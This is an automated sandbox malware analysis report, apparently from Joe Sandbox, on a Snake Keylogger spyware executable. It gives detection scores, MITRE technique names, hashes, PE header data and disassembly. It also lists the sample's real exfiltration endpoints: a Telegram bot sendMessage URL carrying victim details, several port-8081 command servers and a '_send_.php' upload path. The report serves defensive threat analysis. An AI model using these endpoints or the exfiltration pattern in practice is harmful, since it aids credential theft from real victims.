Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	24 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	113 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
7DI4iYwcvw.exe	66%	ReversingLabs	Win32.Spyware.Snakekeylogger
7DI4iYwcvw.exe	100%	Avira	HEUR/AGEN.1321671
7DI4iYwcvw.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/8.46.123.33	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/8.46.123.33$	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	188.114.96.3	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
mail.irco.com.sa	46.151.208.21	true	true	unknown
checkip.dyndns.com	193.122.6.168	true	false	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841618%0D%0ADate%20and%20Time:%2009/10/2024%20/%2023:08:13%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20841618%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown
https://reallyfreegeoip.org/xml/8.46.123.33	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	RegSvcs.exe, 00000002.00000002.4794997601.00000000029CF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	RegSvcs.exe, 00000002.00000002.4796478018.0000000003801000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	RegSvcs.exe, 00000002.00000002.4796478018.0000000003801000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	RegSvcs.exe, 00000002.00000002.4794997601.00000000028C2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	RegSvcs.exe, 00000002.00000002.4796478018.0000000003801000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot	RegSvcs.exe, 00000002.00000002.4794997601.00000000028C2000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RegSvcs.exe, 00000002.00000002.4796478018.0000000003801000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RegSvcs.exe, 00000002.00000002.4796478018.0000000003801000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	RegSvcs.exe, 00000002.00000002.4794997601.00000000028C2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore?hl=en	RegSvcs.exe, 00000002.00000002.4794997601.000000000299E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4794997601.0000000002999000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4794997601.00000000029CF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	RegSvcs.exe, 00000002.00000002.4796478018.0000000003801000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://varders.kozow.com:8081	RegSvcs.exe, 00000002.00000002.4794997601.00000000027E1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841618%0D%0ADate%20a	RegSvcs.exe, 00000002.00000002.4794997601.00000000028C2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://aborters.duckdns.org:8081	RegSvcs.exe, 00000002.00000002.4794997601.00000000027E1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		unknown
http://mail.irco.com.sa	RegSvcs.exe, 00000002.00000002.4794997601.00000000028E7000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4794997601.0000000002935000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	RegSvcs.exe, 00000002.00000002.4796478018.0000000003801000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://51.38.247.67:8081/_send_.php?L	RegSvcs.exe, 00000002.00000002.4794997601.00000000028E7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org/xml/8.46.123.33$	RegSvcs.exe, 00000002.00000002.4794997601.000000000289C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4794997601.0000000002857000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4794997601.00000000028C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anotherarmy.dns.army:8081	RegSvcs.exe, 00000002.00000002.4794997601.00000000027E1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RegSvcs.exe, 00000002.00000002.4796478018.0000000003801000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/q	RegSvcs.exe, 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org	RegSvcs.exe, 00000002.00000002.4794997601.000000000289C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4794997601.00000000028C2000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4794997601.000000000282E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 00000002.00000002.4794997601.00000000027E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RegSvcs.exe, 00000002.00000002.4796478018.0000000003801000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	RegSvcs.exe, 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org/xml/	RegSvcs.exe, 00000002.00000002.4794997601.000000000282E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
46.151.208.21	mail.irco.com.sa	Saudi Arabia	51975	NASHIRNET-ASNNASHIRNETASNSA	true
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1529912
Start date and time:	2024-10-09 14:44:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	7DI4iYwcvw.exe renamed because original name is a hash value
Original Sample Name:	2b4eae5d8282eacacd17d2fdec8bf3e052baa7e7f60276854b9c077183aa2176.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 75 Number of non-executed functions: 28
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: 7DI4iYwcvw.exe

Simulations

Behavior and APIs

Time	Type	Description
08:45:15	API Interceptor	11384522x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	TBC-9720743871300.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Request for Quotation MK FMHS.RFQ.24.142.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	9od7uqtxVz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	0kqoTVd5tK.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	wrE1XO6ZFI.exe	Get hash	malicious	VIP Keylogger	Browse
	IT3rIaXTLZ.exe	Get hash	malicious	AgentTesla	Browse
	9EIf7Sfk3P.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	pQGOxS84rW.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	aq4u3y2hLo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Opposer.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse
193.122.6.168	aq4u3y2hLo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Commercial_Invoice_Remittance_Copies_PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	rRdJ0JnTcM.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	HWAf2RPKH6.exe	Get hash	malicious	DarkTortilla, Snake Keylogger	Browse	checkip.dyndns.org/
	kG713MWffq.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	rRdJ0JnTcM.exe	Get hash	malicious	VIP Keylogger	Browse	checkip.dyndns.org/
	9WFX0d4wa8.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Mellekelve a proforma szamla.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Purchase 2.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Y1ZqkGzvKm.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	TBC-9720743871300.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Request for Quotation MK FMHS.RFQ.24.142.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	9od7uqtxVz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	ZH0pJV4XmV.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	0kqoTVd5tK.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	wUOozlNZS3.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	wrE1XO6ZFI.exe	Get hash	malicious	VIP Keylogger	Browse	188.114.97.3
	wUOozlNZS3.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	awb_dhl 9102845290_160924R0 _323282-_563028621286.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	9EIf7Sfk3P.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
checkip.dyndns.com	TBC-9720743871300.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	Request for Quotation MK FMHS.RFQ.24.142.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	9od7uqtxVz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	ZH0pJV4XmV.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	0kqoTVd5tK.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	wUOozlNZS3.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	wrE1XO6ZFI.exe	Get hash	malicious	VIP Keylogger	Browse	132.226.247.73
	wUOozlNZS3.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	awb_dhl 9102845290_160924R0 _323282-_563028621286.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	9EIf7Sfk3P.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
api.telegram.org	TBC-9720743871300.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Request for Quotation MK FMHS.RFQ.24.142.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	9od7uqtxVz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	0kqoTVd5tK.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	wrE1XO6ZFI.exe	Get hash	malicious	VIP Keylogger	Browse	149.154.167.220
	IT3rIaXTLZ.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	9EIf7Sfk3P.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	pQGOxS84rW.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	aq4u3y2hLo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Opposer.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	9od7uqtxVz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	wUOozlNZS3.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	9EIf7Sfk3P.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	pQGOxS84rW.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	aq4u3y2hLo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	Commercial_Invoice_Remittance_Copies_PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	Scanned.pdf.pif.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Zapytanie ofertowe (LINCOLNELECTRIC 100924).vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
	rRdJ0JnTcM.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	ixgyfGK4yl.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
TELEGRAMRU	TBC-9720743871300.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Request for Quotation MK FMHS.RFQ.24.142.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	9od7uqtxVz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	0kqoTVd5tK.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	wrE1XO6ZFI.exe	Get hash	malicious	VIP Keylogger	Browse	149.154.167.220
	IT3rIaXTLZ.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	9EIf7Sfk3P.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	pQGOxS84rW.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	aq4u3y2hLo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Opposer.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	PaymentIBAN Confirmation.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	172.67.212.58
	SWIFT 103 202410071251443120 071024-pdf.vbs	Get hash	malicious	Remcos	Browse	188.114.97.3
	TBC-9720743871300.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	COT139562833.ATMetorlogya.xls	Get hash	malicious	Unknown	Browse	104.21.16.225
	Request for Quotation MK FMHS.RFQ.24.142.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Ordin de plat#U0103.docx.doc	Get hash	malicious	Unknown	Browse	188.114.96.3
	COT139562833.ATMetorlogya.xls	Get hash	malicious	Unknown	Browse	104.21.16.225
	PAYMENT APPLICATION.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
	lWfpGAu3ao.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	COT139562833.ATMetorlogya.xls	Get hash	malicious	Unknown	Browse	172.67.216.69
NASHIRNET-ASNNASHIRNETASNSA	92.249.48.47-skid.x86-2024-07-20T09_04_17.elf	Get hash	malicious	Mirai, Moobot	Browse	185.79.251.94
NASHIRNET-ASNNASHIRNETASNSA	Request For Quotation - ( 11 APR 2022) exp. 15 APR 2022.pdf.exe	Get hash	malicious	FormBook	Browse	46.151.208.26

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	TBC-9720743871300.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	Request for Quotation MK FMHS.RFQ.24.142.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	9od7uqtxVz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	ZH0pJV4XmV.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	0kqoTVd5tK.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	wUOozlNZS3.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	wrE1XO6ZFI.exe	Get hash	malicious	VIP Keylogger	Browse	188.114.96.3
	wUOozlNZS3.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	awb_dhl 9102845290_160924R0 _323282-_563028621286.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	9EIf7Sfk3P.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
3b5074b1b5d032e5620f69f9f700ff0e	SWIFT 103 202410071251443120 071024-pdf.vbs	Get hash	malicious	Remcos	Browse	149.154.167.220
	SAS #U00e7#U0131kt#U0131.PDF.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	TBC-9720743871300.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	PAGO.vbs	Get hash	malicious	Unknown	Browse	149.154.167.220
	Request for Quotation MK FMHS.RFQ.24.142.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	TRASFERENCIA.vbs	Get hash	malicious	Unknown	Browse	149.154.167.220
	SAS #U00e7#U0131kt#U0131.PDF.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	9od7uqtxVz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	0kqoTVd5tK.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	wrE1XO6ZFI.exe	Get hash	malicious	VIP Keylogger	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\7DI4iYwcvw.exe
File Type:	data
Category:	dropped
Size (bytes):	276992
Entropy (8bit):	6.919788310434921
Encrypted:	false
SSDEEP:	6144:0pecUYpsZwW7PYDPAVZMTncg6I3GPOevf5j2KJFY2ee/Rd+gFrknqwKGnb:0pecUY6Zt7PYDPAVZMTncf02O+RCKJF4
MD5:	7CB974580A956C51F1B75E08FC5A9183
SHA1:	26FC8ECA0F96A34EDCF010F1ECFB24F771EFD234
SHA-256:	DABE5CD567B68F8D23D4C8BE82A4BC5E03FF2E01F11A2BA19BE020C78AB469DB
SHA-512:	4943FEC9BE8D07E843B2FE4B1232B67C880F72AB64FA55FA4A2C94D7F90428891CFC15DB58A18136FEDF2294288E5233829FA56E212E1D77591F5CBB85C79032
Malicious:	false
Reputation:	low
Preview:	z..LED7V^M8S..93.Q37Q7LM.FD7VZM8SKS93JQ37Q7LMLFD7VZM8SKS93JQ.7Q7BR.HD._.l.R...g"8@.!E#>').5;#V<?s[Vj#FYq^"m....;5)]}F^3.JQ37Q7L..FD{WYM...593JQ37Q7.MNGO6.ZM.WKS-3JQ37Q9.ILFd7VZ-<SKSy3Jq37Q5LMHFD7VZM8WKS93JQ37.3LMNFD7VZM:S..93ZQ3'Q7LM\FD'VZM8SKC93JQ37Q7LML..3V.M8SK3=3]A37Q7LMLFD7VZM8SKS93.U3;Q7LMLFD7VZM8SKS93JQ37Q7LMLFD7VZM8SKS93JQ37Q7LMLFD7VZm8SCS93JQ37Q7LMDfD7.ZM8SKS93JQ3.%R49LFD#u^M8sKS9.NQ35Q7LMLFD7VZM8SKs93.AD#TLMLQT7VZ-<SKA93Jw77Q7LMLFD7VZM8.KSy.84_X27LALFD7.^M8QKS9.NQ37Q7LMLFD7VZ.8S.S93JQ37Q7LMLFD7V..<SKS93.Q37S7IMh.F7..L8PKS9.JQ5[.5L.LFD7VZM8SKS93JQ37Q7LMLFD7VZM8SKS93JQ37Q7LML.9.Y...:8..3JQ37Q6NNH@L?VZM8SKS9MJQ3qQ7L.LFD.VZM.SKST3JQ.7Q72MLF:7VZ)8SK!93J037QpLML)D7V4M8S5S93TS..Q7FgjFF.wZM2Sa.J.JQ9.P7LI?eD7\.O8SO .3J[.4Q7H>iFD=.^M8W8u93@.67Q3f.LE.!PZM#<rS99JR."W7LVf`D5~`M8YKy.3I.&1Q7WgnFF._ZM<y. $3JW.tQ7F9EFD5.PM8WaM;..Q3={.2FLF@.VpoF_KS=.J{.I\7LIgFn)T.@8SOy.MDQ33z7fo2ID7RqM.MI.63JU../'LMHmD.t$\8SOx9.h/!7Q3gMfd:$VZI.SaqG'JQ7.Q.n3YFD3}Zg.-]S97aQ../ LMHmD.t$U8SOx9.TS./Q7HgJl&7$.X8#H

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.4796103400524805
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	7DI4iYwcvw.exe
File size:	1'257'083 bytes
MD5:	e142f0bf6c0d9be52f8c7f52007c64d0
SHA1:	36d40ea847e5f16424951fc9a5bd19f739705c87
SHA256:	2b4eae5d8282eacacd17d2fdec8bf3e052baa7e7f60276854b9c077183aa2176
SHA512:	a334eabb9f749c006c36392d065f22026589edca7bba4ee40f41feaf224fa824f1c8d8f0673a6c9307c3c7e9583b390f198b2d036d056d0f685df55f88e755a9
SSDEEP:	24576:uRmJkcoQricOIQxiZY1iaC3SdUyu5RvluTUUOtioFCl1Hy:7JZoQrbTFZY1iaC3kUyrTStiXS
TLSH:	8345E121B9C69036C2B323B19E7FF769963D79360336D29727C82D225EA04416B39773
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................1b.......P.).....Q.......y.......i..........}....N.......d.......`.......m.......g.....Rich............PE..L..

File Icon


Icon Hash:	1733312925935517

Static PE Info

General

Entrypoint:	0x4165c1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4F25BAEC [Sun Jan 29 21:32:28 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	d3bf8a7746a8d1ee8f6e5960c3f69378

Entrypoint Preview

Instruction
call 00007FDBA8D2AA3Bh
jmp 00007FDBA8D218AEh
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FDBA8D21A2Ah
cmp edi, eax
jc 00007FDBA8D21BC6h
cmp ecx, 00000080h
jc 00007FDBA8D21A3Eh
cmp dword ptr [004A9724h], 00000000h
je 00007FDBA8D21A35h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jne 00007FDBA8D21A27h
jmp 00007FDBA8D21E02h
test edi, 00000003h
jne 00007FDBA8D21A36h
shr ecx, 02h
and edx, 03h
cmp ecx, 08h
jc 00007FDBA8D21A4Bh
rep movsd
jmp dword ptr [00416740h+edx*4]
mov eax, edi
mov edx, 00000003h
sub ecx, 04h
jc 00007FDBA8D21A2Eh
and eax, 03h
add ecx, eax
jmp dword ptr [00416654h+eax*4]
jmp dword ptr [00416750h+ecx*4]
nop
jmp dword ptr [004166D4h+ecx*4]
nop
inc cx
add byte ptr [eax-4BFFBE9Ah], dl
inc cx
add byte ptr [ebx], ah
ror dword ptr [edx-75F877FAh], 1
inc esi
add dword ptr [eax+468A0147h], ecx
add al, cl
jmp 00007FDBAB19A227h
add esi, 03h
add edi, 03h
cmp ecx, 08h
jc 00007FDBA8D219EEh
rep movsd
jmp dword ptr [00000000h+edx*4]

Rich Headers

Programming Language:

[ C ] VS2010 SP1 build 40219
[C++] VS2010 SP1 build 40219
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8d41c	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xab000	0x9328	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
